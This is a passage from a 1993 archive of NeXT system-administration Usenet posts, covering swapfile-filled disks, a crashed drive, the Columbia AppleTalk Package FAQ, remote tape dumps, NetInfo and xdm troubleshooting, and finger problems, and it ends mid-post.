Glenn> First of all, the swap file is automatically reset to its default size
Glenn> when you reboot. If the swap file were the problem, it would fix itself.
Right - But the swapfile gets restored and long way into the boot
process, and it newer gets that far, so the swapfile will NOT be
restored to it's original size.
If the swapfile is removed, it will be able to boot until it finds out
that no swapfile is present - then it will create a new one - with the
right size - and reboot again - this time with a right sized swapfile.
Glenn> If another runaway process or something fills up the disk, you have a
Glenn> different problem. I would boot single-user and look around on the disk
Glenn> for something to delete.
Right - except that you are not able to reboot as singleuser!
Glenn> To boot single-user, read the Sysadmin manual carefully, then do this:
Glenn> * When the machine starts to power up, after the Testing phase,
Glenn> hit Command-Command-` (on the numeric key pad).
Glenn> * Type "mon" to get to the monitor
Glenn> * Type "bsd -s" to boot single-user
Well, I thought that myself to until I actually had the problem. It
is NOT!! possible to boot in single user mode as rc.boot calls
mount -o remount /
which writes in /etc/mtab and that is not possible since the disk is
REALLY filled up (110%). This will result in a vnode I/O error and the
bootprocess will hang.
If you can boot from another device, you can mount the file system and
remove the file that has grown beyond bounds - typical the swapfile.
Another option that I might admit I have not tried yet, it to boot
with the "-b" option which will avoid processing the rc.boot script.
So, in the monitor type "bsd -b", but then you are really on your own,
and I will advise you to get some professional help!
When you get the machine up and running, then do your self a favor:
set the hiwat option in /etc/swaptab to ensure it will not happen
again.
So again: good luck, I hope you get it up and running.
Karsten.
From: nico@imani.cam.org (Nicolas Dore)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware
Subject: Re: Help!! File System FULL
Message-ID: <1993May23.175311.6304@imani.cam.org>
Date: 23 May 93 17:53:11 GMT
References: <1993May23.124343.21142@news.csuohio.edu>
Sender: nico@imani.cam.org
In article <1993May23.124343.21142@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe
Rosenfeld) writes:
> Karsten Thygesen (karthy@dannug.dk) wrote:
>
> : You has been offer to the usual problem. The swapfile has grown
> : beyond bounds and filled the harddisk to mush. There is only one thing
> : to do: boot from another device like CD, floppy or borrow another
> : harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
>
> Isn't it possible to just do the removal from the ROM monitor, without
> having to resort to booting from another drive?
>
Not the ROM monitor, but in single-user mode, I think. Type "bsd -s" at boot time
in verbose mode.
Ciao
Nicolas
> --
>
> | Joe Rosenfeld cowboy@trans.csuohio.edu
> | CSU Law Library j.rosenfeld@csuohio.edu
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From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Subject: HD crash... need good advice and pain killers.
Message-ID: <1993May23.223830.11649@galileo.cc.rochester.edu>
Summary: My HD crashed... what now.
Keywords: crash, SCSI, Toshiba, crap
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
Date: Sun, 23 May 93 22:38:30 GMT
While attempting my first backup (I'm a poor student, so I have to borrow a
tape drive... no backup flames, please.) somehow my 1.2G Toshiba MK-538FB
drive bit the dust. It now usually refuses to come ready and makes a really
bad-sounding "clunk-clunk-clunk" instead of the pleasant little chirp it
usually makes when it comes up to speed.
Questions:
Has anyone had similar experiences with Toshiba (or any) HDs?
Is it more likely a head crash or chip burnout (solid state error)?
Does anyone have any good reccomendations for data recovery firms?
(I know, it'll cost me more than the price of a new drive, but
I spent 6 months collecting 1 gig of data, and I lose my FTP
and telnet access tomorrow morning. <Sniff>)
Do tears damage the NeXT keyboard?
Thanks. Please mail responses, since I will only be able to call in and
check my mail.
--
John Todd | University of Rochester, Rochester NY | NRA & Pro-Choice
CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused
jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin
From: vlahos@cubism.portal.com (Harry Vlahos)
Subject: Re: Setting Up ISDN (PhoneKit Gone in 3.1 ?)
Message-ID: <1993May23.175635.547@cubism.portal.com>
Sender: vlahos@cubism.portal.com (Harry Vlahos)
Organization: -Independent NeXT Developer-
References: <737663879724@raptor.mcs.anl.gov>
Date: Sun, 23 May 1993 17:56:35 GMT
In article <737663879724@raptor.mcs.anl.gov> olson@raptor.mcs.anl.gov (Bob
Olson) writes:
> I've heard pretty definitely that PhoneKit is gone in 3.1, to be sold/given
to
> a third party to develop.
>
Is that true for both NS-Intel and NS-Motorola ? I just finished
an app that uses the PhoneKit. This sucks. Can any beta testers
out there confirm this ?
HV
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From: tpg@rchland.vnet.ibm.com (Terry Gliedt)
Subject: Re: HD crash... need good advice and pain killers.
Sender: news@rchland.ibm.com
Message-ID: <1993May24.125628.31246@rchland.ibm.com>
Date: Mon, 24 May 1993 12:56:28 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
References: <1993May23.223830.11649@galileo.cc.rochester.edu>
Organization: IBM Rochester
Keywords: crash, SCSI, Toshiba, crap
In article <1993May23.223830.11649@galileo.cc.rochester.edu>, jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes:
|>
|> While attempting my first backup (I'm a poor student, so I have to borrow a
|> tape drive... no backup flames, please.) somehow my 1.2G Toshiba MK-538FB
|> drive bit the dust. It now usually refuses to come ready and makes a really
|> bad-sounding "clunk-clunk-clunk" instead of the pleasant little chirp it
|> usually makes when it comes up to speed.
|>
|> Questions:
|> Has anyone had similar experiences with Toshiba (or any) HDs?
|> Is it more likely a head crash or chip burnout (solid state error)?
|> Does anyone have any good reccomendations for data recovery firms?
If I understand you correctly, your drive died during or just before you tried
the backup. If true, I think it very unlikely that your drive has physically
died. It could be, but this seems pretty amazing. More likely, it seems to me, is
that the data on the drive has been corrupted. It makes me wonder if your tape
drive was properly addressed and/or if there were not SCSI errors occuring. For
instance if both your tape and disk drives were responding to the SCSI bus,
almost anything could be happening. I had something like this happen between two
disk drives and ended up trashing ONE file on my boot drive (it was a
NeXT-specific file and took me 3 days of file-by-file comparison with another
NeXT to find it. Ugly ugly ugly).
If, for instance the label area of your disk was trashed, the operating system
would not be able to find important areas of the disk and the disk would cycle
again and again with this click-click sound.
Unfortunately I was never able to revive any disk that got in this condition (but
then I had backups that worked). I suspect it is possible to resurrect your
disk, but I can't give you any more help than some sympathy. Good luck
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help!! File System FULL
Date: 24 May 1993 14:11:38 GMT
Organization: University of Houston
Message-ID: <1tql2q$ijh@menudo.uh.edu>
References: <1220@rtbrain.rightbrain.com>
In article <1220@rtbrain.rightbrain.com> glenn@rightbrain.com (Glenn Reid)
writes:
#Karsten Thygesen writes
#
#> You has been offer to the usual problem. The swapfile has grown
#> beyond bounds and filled the harddisk to mush. There is only one thing
#> to do: boot from another device like CD, floppy or borrow another
#> harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
#
#I think this is bad advice, and also I don't think this was the problem
#that the original poster has.
#
#First of all, the swap file is automatically reset to its default size
#when you reboot. If the swap file were the problem, it would fix itself.
#
This is not true. It usually is that the swapfile has grown to the point
where the disk capacity is at 105% or more (remember that the fast file
system usually keeps 10% [user tunable] of the disk free for performance
reasons. A normal user cannot cause the system to use this extra 10%.
Root, however, can and this is the case of the swapfile). When this
happens, the system cannot reset the swapfile and continue with booting.
You need to actually go in and remove the swapfile and then reboot the
system so that I can rebuild it...
#If another runaway process or something fills up the disk, you have a
#different problem. I would boot single-user and look around on the disk
#for something to delete.
#
When the disk is beyond 105% capacity you can't even boot into single-user.
The machine will panic when it can't free any disk space...
# Glenn Reid NeXTmail: glenn@rightbrain.com
# RightBrain Software 415-326-2974 (NeXTfax 326-2977)
# Palo Alto, California Electronic Frontier Foundation, member
#054
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"Programming is like sex: One mistake and you support it a lifetime."
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: using networked Apple printers (Have you looked at CAP?)
Date: 24 May 1993 14:18:49 GMT
Organization: University of Houston
Message-ID: <1tqlg9$j4s@menudo.uh.edu>
References: <1993May21.232529.18945@midway.uchicago.edu>
In article <1993May21.232529.18945@midway.uchicago.edu>
cpl1@kimbark.uchicago.edu (Corey Liss) writes:
#
#OK, I've totally frustrated myself on this one, and I can't seem to find
any
#useful FAQ documentation on this in the sonata or orst archives, so I'm
#tossing it out to the world at large to get ridiculed... :)
#
#Basically: The site we're running has a number of Apple LaserWriters (IIGs
and
#IINTXs) hooked into an EtherTalk network, being run from central servers/
#print spoolers via AppleTalk. We've also got a number of NeXTs running
over
#the same ethernet network.
#
#I'm trying to get the NeXTs to recognize the Apple LaserWriters. The
problem
#I'm running into is that NetInfo seems to either assume a printer directly
#connected to a NeXT via a serial connection, or else connected to a server
#which it can communicate with as a unix box (i.e. not a mac running some
#variation on AppleTalk). I can't figure out how to get it to send jobs
#over the ethernet to the macintosh print spoolers... I'm guessing that
#it has something to do with the Comm value in /Local/printers/[printername]
#in NetInfo, but I'm not sure what to change it *to*...
#
#Can anyone point me in the right direction on how to handle this?...
#
I would suggest that you take a look at CAP (Columbia Appletalk). It was
designed to allow unix boxes to print to appletalk printers. However, for
the NeXT there is an additional requirement of somekind of gateway box
(Shiva FastPath, GatorBox,...).
Here is the CAP faq:
CAP FAQ
-------
Last update:
Mon Aug 3 02:10:07 EST 1992
> What is CAP ?
The Columbia AppleTalk Package (CAP) implements the AppleTalk protocol
stack on a variety of UNIX machines. The main applications provide an
AppleShare 2.0 compatible server (aufs), a LaserWriter Spooler (lwsrv)
and a program to print to LaserWriters (papif). The latter can be used
to talk to EtherTalk LaserWriters, LocalTalk LaserWriters used on Dayna
EtherPrint cards or on a LocalTalk/EtherTalk gateway. There are also a
number of contributed packages bundled with CAP (see cap60/contrib).
> What extra hardware is required for CAP ?
On a SUN or ULTRIX machine, CAP can speak Phase 1 or Phase 2 EtherTalk
packets using packet filters based on the Stanford ENET model. Where
available, CAP can also use Kernel based AppleTalk or run the UNIX
AppleTalk Bridge (UAB) to act as a gateway. On other UNIX boxes you
need to have a gateway that can translate IPTalk packets. Suitable
candidates are Shiva FastPath, Cayman GatorBox or Webster MultiPort Gateway.
> What machines will CAP run on ?
The CAP Configure script has specific support for the following
Operating Systems:
sunos - SUN SunOS
ultrixnn - DEC Ultrix 1.2, 2.0, 4.N
irix - Silicon Graphics IRIS/IRIX
aix - IBM AIX System V
hpux - HP HP-UX 8.0
uts - Amdahl UTS
aux - Apple A/UX 2.0
encore - Encore MultiMax BSD
pyr - Pyramid (BSD Universe)
next - NeXT/MACH
dynix - Sequent Balance
newsos - Sony NEWS
bsd - BSD 4.2, 4.3
> What is the current CAP version ?
CAP is at version 6.0 with (currently) 142 patches to be applied, most of
which add extra functionality to the original. To determine the current
patch level of your sources, check the cap60/README file for a line of
the form
o CAP Distribution 6.0, Patch Level 125, July 1992
> Where can I get CAP ?
CAP can be obtained by anonymous FTP from
rutgers.EDU src/{cap60.tar.Z,cap60.patches/*}
munnari.OZ.AU mac/{cap60.tar.Z,cap.patches/*}
gatekeeper.DEC.COM pub/net/appletalk/cap/{cap60.tar.Z,cap.patches/*}
ftp.kuis.kyoto-u.AC.JP net/cap/{cap60.tar.Z,cap60.patches/*.Z}
src.doc.ic.AC.UK mac/multigate/{cap60.tar.Z,cap.patches/*}
Please choose an appropriate site and an off-peak time for the transfer.
The patches are available individually or as the files "patches.1-75.tar.Z",
"patches.76-100.tar.Z" and "patches.101-125.tar.Z". Additionally, for new
users, a partially patched source file is available as "cap60.pl100.tar.Z"
(the file cap60.tar.Z is unpatched).
> How do I apply the patches ?
To make the process of patching easier, you should get the 'patch' utility
written by Larry Wall, it is normally archived at sites that archive
comp.sources.unix in volume7/patch2. If you can't find anywhere closer
it is on munnari.OZ.AU. CAP Version 6.1 will be 6.0 with all the patches
applied and updated cap60/contrib packages. It will appear when the number
of patches stabilizes.
For each of the patches, run 'patch -p < cap60.patch0NN' from the top level
cap60 directory, for example, in csh
foreach i (cap60.patches/cap60.patch*)
patch -p < $i >>& /tmp/patches
end
and check the /tmp/patches file for patching errors (should be none).
To remove the *.orig files that patch leaves behind (containing the original
version of the file), run 'make spotless' from the top level directory (note
that spotless also removes all makefiles so gen.makes needs to be run to
regenerate them).
> I picked up CAP 6.0 from rutgers.edu, but our Unix system administrator
> refuses to install it because there are 74 patches (can't say I blame
him)!
Sigh. Using the patch program to apply patches requires a minimal amount of
time and energy. Taking time to install the patch program will pay off for
CAP and other program updates.
% date
Sat Mar 7 23:51:05 EST 1992
% touch /tmp/patches
% foreach i (cap60.patches/cap60.patch*)
? patch -p < $i >>& /tmp/patches
? end
% grep rej /tmp/patches
% date
Sat Mar 7 23:54:26 EST 1992
It took just 3:11 to apply 75 patches to the raw CAP tar source. The extra
overhead is the time to FTP 3 files, cap60.tar.Z, patches.1-74.tar.Z and
cap60.patch075 and uncompress them. The total time spent on this ... 8:02.
> Is CAP Public Domain ?
No, CAP is distributed with the following condition on its use:
Copyright (c) 1986, 1987, 1988, The Trustees of Columbia University in
the City of New York. Charlie C. Kim, User Services Group, Academic
Information Services Division, Libraries and Center for Computing
Activities and Bill Schilit, formerly of Computer Research Facilities,
Computer Science Department.
Permission is granted to any individual or institution to use, copy,
or redistribute this software so long as it is not sold for profit,
provided that this notice and the original copyright notices are
retained. Columbia University makes no representations about the
suitability of this software for any purpose. It is provided "as is"
without express or implied warranty.
Some portions of CAP have other copyrights and are suitably marked.
> Is there a version of CAP available that supports Ethertalk Phase 2 ?
Phase 2 support was added in CAP 6.0 patches 25, 28 & 35 for SUN NIT, ULTRIX
4.n and SUN enet driver respectively.
> Can a workstation with 2 ethernet cards running Cap s/w act as a phaseII
> to (phaseI or phaseII) "Gateway"? If so, what patch level of Cap do I need
> to do this?
The UNIX AppleTalk Bridge (UAB) is the EtherTalk gateway. It can handle
multiple ethernet interfaces and gateway between them. This is its primary
function but it can also be set up to provide CAP services. But ...
> Does anyone have a patch that will support the phase 2 appletalk protocol
> on UAB (CAP6.0).
UAB is *currently* Phase 1 only.
> Is there any standard way yet of implementing a execute only, copy
> protected CAP AUFS server?
The original method of achieving this was to removing read permission from
the data fork of the Application (make it non-zero length if the file is
empty). The current method involves using the Application Manager added in
patch number 61. Either of these methods can be circumvented by users who
are either knowledgeable or determined.
> Recently I introduced a new color postscript printer, Tektronix Phaser III
> 4698PXi, under one of the LocalTalks. It works fine from Macintosh's so I
> tried to use it from papif but failed.
CAP uses DDP checksums by default, the checksum code in the Phaser III PXi
and the Apple Personal LaserWriter NTR incorrectly calculate the checksum
value and the packet is dropped. The programs aufs, lwsrv, papif, atis,
atlooklws and tlw now support the -k option to disable CAP checksums on a
per-program basis. To disable CAP checksums completely, add the following
lines to the m4.features file, rerun gen.makes and remake CAP.
# + DONT_DOCHKSUM no DDP checksums (Tektronix Phaser III PXi & Apple LW NTR)
define(`specialcflags',concat(specialcflags,` -DDONT_DOCHKSUM'))
#
No other code changes are necessary.
> We've just upgraded our DECstations to version 4.2 of ULTRIX, and our CAP
> distribution very neatly broke.
You need to obtain the net_common.o and pfilt.o patches from DEC. Do not
turn on the ifconfig copyall (stop-gap measure previously suggested on the
net). Do not define ULT42PFBUG in m4.features.
> When we run aarpd with a command like:
> aarpd pf0 our_zone
> the daemon doesn't start & we get the message 'failed to start ZIS
listener'.
This means that something has been allocated the UPD port 774 (768+6)
by 'portmap'. You can check this with the command 'rpcinfo -p'.
There are two solutions, break 'start-cap-servers' into two so that aarpd
and atis is started before portmap. Alternatively, and preferably, install
the NIC assigned port numbers into /etc/services. See the doc in the file
cap60/doc/install.ms for more details.
> I have installed the enet driver. But aarpd won't start successfully.
> Instead the following error message is being printed.
> unix!: # aarpd le0 EtherTalk
> open: /dev/enetXX: No such file or directory
The ENET drivers use devices of the form enet0, enet1 etc. Replace the
string "le0" with "enet0".
#-Corey Liss
#cpl1@midway.uchicago.edu
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From: jcdavis1@eos.ncsu.edu (JOSEPH CARL DAVIS)
Subject: Matrix packages in 'C' : SUMMARY
Message-ID: <1993May24.125933.28486@ncsu.edu>
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU Project Eos
Date: Mon, 24 May 1993 12:59:33 GMT
OK, it is time for a summary on the replies that I received to
my search for Matrix routines in C.
Essentially, most people told me to get linpack and f2c and
convert the linpack routines to C and then just to use them.
Magnus Nolberg also sent me a posting from sci.math.num-analysis which
contains a long listing of matrix/math routines in C and C++. Most
of these are available from netlib ( netlib@att.research.com ) or
statlib ( statlib@temper.stat.cmu.edu ).
Mark Frank suggested 'C Tools for Scientists and Engineers' by Baker.
Others suggested 'Numerical Recipies in C'.
I started to reply to each individual respondent, but then too many
replied. Therefore, thanks to the following people:
magnus@fisher.Stanford.EDU
jja@jupiter.fnbc.com
frank@dendrite.sps.mot.com
esca!dahl@uunet.UU.NET
blake015@bullnext.mc.duke.edu
Once again, thanks.
regards,
jcd
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From: curt@oasys.dt.navy.mil (Curt Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: autonfsmount dies / SLIP problem
Message-ID: <36227@oasys.dt.navy.mil>
Date: 24 May 93 15:08:09 GMT
References: <36062@oasys.dt.navy.mil>
Organization: Carderock Division, NSWC, Bethesda, MD
I wrote:
>Does anyone know why autonfsmount is dying? Why can't it get it's
>address? What address is it trying to get? Is it trying to talk to
>some other deamon that might not be running?
No one on the net sent me any answers, but I found the solution to my
problem with the help of another local NeXT programmer. The answer was
quite simple. The host name and IP address of the system wasn't in
netinfo. (i.e. /etc/hosts). I assumed that HostManager would add the
name and address to netinfo but it doens't. You have to do it by
hand.
Curt
From: stuart@oasys.dt.navy.mil (Stuart Pearlman)
Newsgroups: comp.sys.next.sysadmin
Subject: Netinfo problems - error writing to root domain.
Message-ID: <36240@oasys.dt.navy.mil>
Date: 24 May 93 17:36:21 GMT
Organization: Carderock Division, Naval Surface Warfare Center
I'm having some problems with netinfo, and I wanted to ask a few
questions. The problem is that PrintManager.app on my clients will
not let me export printers to the root domain. It complains about
"error writing to root domain." Does anyone know what can cause this?
I suspect it's seeing the root domain as read-only, but I can't figure
out why.
One thing that may be related is the fact that all my clients seem to
bind to the clone server instead of the master server. At least, I
think they do. How can you tell which netinfo server is serving a
client at any given time. I've been opening the root domain in
NetInfoManager and looking at the window's title bar to see which host
is listed: network@priscilla (the master) or network@tic (the clone).
Does this accurately reflect which machine is serving the client? Is
there some way to determine this from a shell as well (the clients are
spread out over three buildings)? Do all processes on the client talk
to the same server, or is the binding on a per-process basis?
One final question: if a client binds to a clone server and then tries
to update the root domain, what happens? Does the clone forward the
update to the master? Does it tell the client to talk to the master?
How does this work?
Any suggestions about what to check on this would be appreciated.
Thanks in advance.
-stuart
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On-Contract-To: David Taylor Research Center +1 301 227 1428
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From: tacchi@ccu.umanitoba.ca (Mark G. Tacchi)
Subject: Re: What is "Exception #3" during boot?
Message-ID: <C7JL9G.Bpu@ccu.umanitoba.ca>
Sender: news@ccu.umanitoba.ca
Organization: University of Manitoba, Winnipeg, Canada
References: <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU>
Date: Mon, 24 May 1993 17:44:03 GMT
In <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU> bobcook@slac.stanford.edu (Bob Cook) writes:
>The following occurs on a Station running 3.0 with 20 MB memory and a 105 MB
>
>hard disk. Very soon after Power on, the "verbose" message window appears. Its only contents are:
> Exception #3 (0xc) at 0x10002aa
> NeXT>
>What does this mean? I have never seen it before on this (or other similar) machines. If one issues the "b" command after the halt, the machine boots fine and seems to run fine.
I have seen cases where this points to defective hardware. A probable
cause would be a defective clock crystal.
Give Bell Atlantic a call and ask them for more info, they can be reached at
1-800-499-NeXT.
-Mark
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NeXT Computer, Inc. mtacchi@NeXT.COM
(NeXT Mail Welcome)
"My opinions are my own, and do not necessarily reflect those of my employer."
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From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Subject: lun instead of /dev/sd?
Message-ID: <scott.738327241@shrug>
Organization: University of Newcastle upon Tyne, UK, NE1 7RU
Date: Tue, 25 May 1993 10:54:01 GMT
I'm at my limit for SCSI devices short of one more add on...that
is likely to be more hard drive space...Someone I was speaking to
suggested that I might be able to address two drives by the
same scsi id, but with different logical unit numbers....
Is this possible, how could it take place? Or am I just dreaming?
Scott
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SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
"Did you know that the computer invented itself?" - SNL
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with remote dump
Keywords: dump rdump
Message-ID: <12288@blue.cis.pitt.edu>
Date: 25 May 93 13:01:56 GMT
Sender: news+@pitt.edu
Can anyone enlighten me on the proper incantation for backing up a
NeXT (OS2.1) to a remote HP 35470A SCSI DAT drive? I have have tried
the following two commands with no luck. The first gave me a broken
pipe, and the second never returned in twelve hours (200MB partition).
Extra credit: How would I restore the files from the remote tape drive?
----------------------------------------------------------------------
rcc% dump 0ucsf 20000 - /dev/rsd0b | rsh mthsn4 -l rcc -n dd of=/d
ev/nrst1 obs=126b
DUMP: Date of this level 0 dump: Mon May 24 17:10:30 1993
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/rsd0b (/clients) to standard output
DUMP: mapping (Pass I) [regular files]
0+0 records in
0+0 records out
DUMP: mapping (Pass II) [directories]
DUMP: estimated 85751 tape blocks on 0.42 tape(s).
DUMP: dumping (Pass III) [directories]
DUMP: Broken pipe
DUMP: The ENTIRE dump is aborted.
rcc% (dump 0ucsf 20000 - /dev/rsd0b) | rsh mthsn4 -l rcc -n dd of=/
dev/nrst1 obs=126b
DUMP: Date of this level 0 dump: Mon May 24 17:16:43 1993
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/rsd0b (/clients) to standard output
DUMP: mapping (Pass I) [regular files]
0+0 records in
0+0 records out
DUMP: mapping (Pass II) [directories]
DUMP: estimated 85751 tape blocks on 0.42 tape(s).
DUMP: dumping (Pass III) [directories]
[NEVER RETURNS]
----------------------------------------------------------------------
Thanks in advance,
Robert C Cyphers
Dept of Mathematics and Statistics
University of Pittsburgh
cyphers+@pitt.edu
From: joe@decoy.uoregon.edu (Joe St Sauver)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: xdm on NeXT
Date: 25 May 1993 16:39:16 GMT
Organization: University of Oregon Network Services
Distribution: world
Message-ID: <1tti3l$guf@pith.uoregon.edu>
References: <1tj4kf$35v@pith.uoregon.edu>
Keywords: co-Xist, xdm, NCD X terminals
In article <1tj4kf$35v@pith.uoregon.edu> jneher@darkwing.uoregon.edu
(Jonathan Neher) writes:
> Has anyone successfully configured xdm on a NeXT to accept logins from
> an NCD X terminal. We are running Coexist 3.0 (X11.R5) xdm on an NeXT
> with an empty Xservers file so that it won't try to manage the local
> display. We try to login via xdm from an NCD X-terminal and after we
enter
> our username/passwd at xdm's login screen. We are blown out of the
water.
> We've tried
[stuff deleted]
Just in case any of you find yourselves in the same situation: after
further testing, it turns out the problem was in the Xresources file.
Specifically, the presence of the stock Xresources lines...
#ifdef COLOR
xlogin*greetColor: CadetBlue
xlogin*failColor: red
*Foreground: black
*Background: #fffff0
#else
xlogin*Foreground: black
xlogin*Background: white
#endif
makes xdm kill any login session initiated by xdm from a monochrome
NCD X terminal, while removal of those statements results in xdm
running just dandy. If (like us) you aren't particularly picky about
colors, you may just want to yank the offending statements...
Many thanks to Jon Neher and all those who offered suggestions with
this problem!
Joe St Sauver (joe@oregon.uoregon.edu)
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need help for Newsgrazer
Date: 25 May 1993 16:59:28 GMT
Organization: University of Houston
Message-ID: <1ttj9g$iuu@menudo.uh.edu>
References: <1993May25.070118.4884@csus.edu>
In article <1993May25.070118.4884@csus.edu> eps@futon.SFSU.EDU (Eric P.
Scott) writes:
#In article <C7K86M.EAn@news2.cis.umn.edu>
# benkt@ie1next.me.umn.edu writes:
#> I just read the Help panel of Newsgrazer. I noticed that in order
#>to have the message cancel function, we need "access to inews. How can we
#>install inews on a NeXT? Or how can we tap onto an inews server? Can
#>somebody enlighten me on this subject?
#
#If you can post through NewsGrazer, you have access to inews.
#If you can't post, why are you trying to cancel posted articles?
#(Cancelling a netnews article involves--and costs as much as--
# posting a new article.)
#
# -=EPS=-
!true. If you are using NewsGrazer through a NNTP server then you will not
be able to cancel your posts unless you have inews on your local system...
NewsGrazer can't cancel via nntp...
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Engineering Computing Center * comments, complaints, questions)
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From: pjm@SPEECH.CS.CMU.EDU (Pedro J. Moreno)
Subject: exporting CD-ROm
Message-ID: <C7L5rq.7zM.2@cs.cmu.edu>
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
Date: Tue, 25 May 1993 14:04:37 GMT
Hi everybody!
I want to export the cd-rom in my next so I can access it from other
(non-next0) unix workstations.
I have tried everything, I have looked in the sonata faq archives, but to
no avail, I couldn't find any reference on how to do it.
Any suggestion will be appreciated.
--
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Ph.D. Student Electrical and Computer Engineering
Speech Group pjm@stevens.speech.cs.cmu.edu
Carnegie Mellon University Pittsburgh, PA.
Newsgroups: comp.sys.next.sysadmin
From: hogan@improv.rz-berlin.mpg.de (Kharim Hogan)
Subject: Fingering and netstat, can anybody help?
Message-ID: <1993May25.141120.24726@thunder.mcrcim.mcgill.edu>
Sender: news@thunder.mcrcim.mcgill.edu
Organization: Los Alamos National Laboratory, NM
Date: Tue, 25 May 93 14:11:20 GMT
Hi,
I have one machine here on the net which is running 3.0 while all the
others including the server are still running 2.1. The thing is that I can't
finger the machine from the outside at all and can only finger it internally
if I don't append the domain to the address. Although, I can finger it just
fine if I use it's IP address. Anyway, I did a 'netstat -h' on it and it
gives me this weird message that I was hoping might mean something to
someone.
Here's the message it gives:
dweezil:29# netstat -h
hosts: not implemented
Now if I do the same command on any of the other machines, I get the following:
sound> netstat -h
IMP Host Table
Flags Host Qcnt Q Address RFNM Timer
Why the difference? Any idea and how do I implement this 'hosts' thing? All
the machines are running netinfo by the way.
When I try to finger the machine running 3.0 (dweezil), this is what happens:
improv> finger @dweezil
[dweezil]
No one logged on
improv> finger @dweezil.music.mcgill.ca
unknown host: dweezil.music.mcgill.ca
Fingering any of the other machines (all of which are running 2.1 as I
mentioned) works fine from anywhere. There is one thing though that I
also can't figure out and that is that if I try to finger the domain
(in this case finger @music.mcgill.ca) or any user@music.mcgill.ca, the
response is the list of those users logged on to the one machine
registered as the domain. It doesn't give me information on any other
users logged on to other machines at the time. If I finger a user with
an account here, it doesn't give me information on that user as I would
get if I fingered people at other sites. For example:
improv> finger hogan@music.mcgill.ca
[music.mcgill.ca]
No one logged on
In the above case, improv is a machine at music.mcgill.ca and I am
clearly logged on but since I'm not logged on to the machine known
as 'jasper', it returns that noone is logged on since noone is logged
on to that machine. Why doesn't it read my plan file? Any idea what's
happening here?
If anyone has any clues about any of this, I'd appreciate it.
Thanks so much,
Kharim
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Newsgroups: comp.sys.next.sysadmin
From: hogan@improv.rz-berlin.mpg.de (Kharim Hogan)
Subject: Re: Fingering and netstat, can anybody help?
Message-ID: <1993May25.141639.24907@thunder.mcrcim.mcgill.edu>
Sender: news@thunder.mcrcim.mcgill.edu
Organization: Los Alamos National Laboratory, NM
References: <1993May25.141120.24726@thunder.mcrcim.mcgill.edu>
Date: Tue, 25 May 93 14:16:39 GMT
In article <1993May25.141120.24726@thunder.mcrcim.mcgill.edu> hogan@improv.rz-berlin.mpg.de (Kharim Hogan) writes:
>Hi,
BTW, my email address is not hogan@improv.rz-berlin.mpg.de as it says above.
I don't know why that happens. Anybody know why? My address is actually:
hogan@music.mcgill.ca. Why is this rz-berlin.mpg.de appended to the machine
rather than the name of the originating domain? Any idea what needs to be
changed so that this doesn't happen?
Thanks again,
Kharim
--
*************************************************************************
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hogan@music.mcgill.ca Faculty of Music, McGill University
*************************************************************************
From: bill@ganesha.cognet.ucla.edu (William Eldridge)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Major hint on mailboxes
Date: 25 May 1993 17:44:22 GMT
Organization: UCLA Cognitive Science Research Program
Message-ID: <1ttltm$2rq@alamut.cognet.ucla.edu>
Perhaps most people know this, but if you don't:
I just discovered that Nextmail doesn't delete
mail you click delete on. You have to then
hit Command-k, or the compact option under
Utilities for that to happen.
If you get a lot of mail, you could have a lot
of "deleted" files still saved that you don't
realize haven't been erased. I had 5.5 Meg extra,
my boss had about 20 Meg extra.
--
Bill Eldridge bill@cognet.ucla.edu
*** He who remembers the past is condemned to misread it. ***
- George Santana
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From: steve@eps.com
Subject: test
Message-ID: <netnewsC7LJ2F.JCL@netcom.com>
Sender: netnews@netcom.com (USENET Administration)
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 25 May 1993 18:51:50 GMT
This article was probably generated by a buggy news reader.
Newsgroups: comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: bastard_kernel
Message-ID: <1993May25.105259.9231@mic.ucla.edu>
Organization: UCLA, Anderson Graduate School Of Management
Date: 25 May 93 10:52:59 PDT
I just lost my NS partition in an accident with the DOS 6 upgrade.
Could the gentlemen who sent me the bastard_kernel patch please do so again?
/ivo
Newsgroups: comp.sys.next.sysadmin
From: robin (Robin D. Wilson)
Subject: Re: getty bug with timeout option?
Message-ID: <1993May25.183149.11025@pencom.com>
Sender: usenet@pencom.com (News system)
Organization: Pencom Systems Incorporated
References: <1993May24.195911.7948@rna.indiv.nluug.nl>
Date: Tue, 25 May 1993 18:31:49 GMT
In article <1993May24.195911.7948@rna.indiv.nluug.nl>
gerben@rna.indiv.nluug.nl writes:
> I'm not sure if this is a bug.
>
> I have made an entry in gettytab that adds a timeout (to#120) to the
> description of the line. When I use this on a directly attached terminal
this
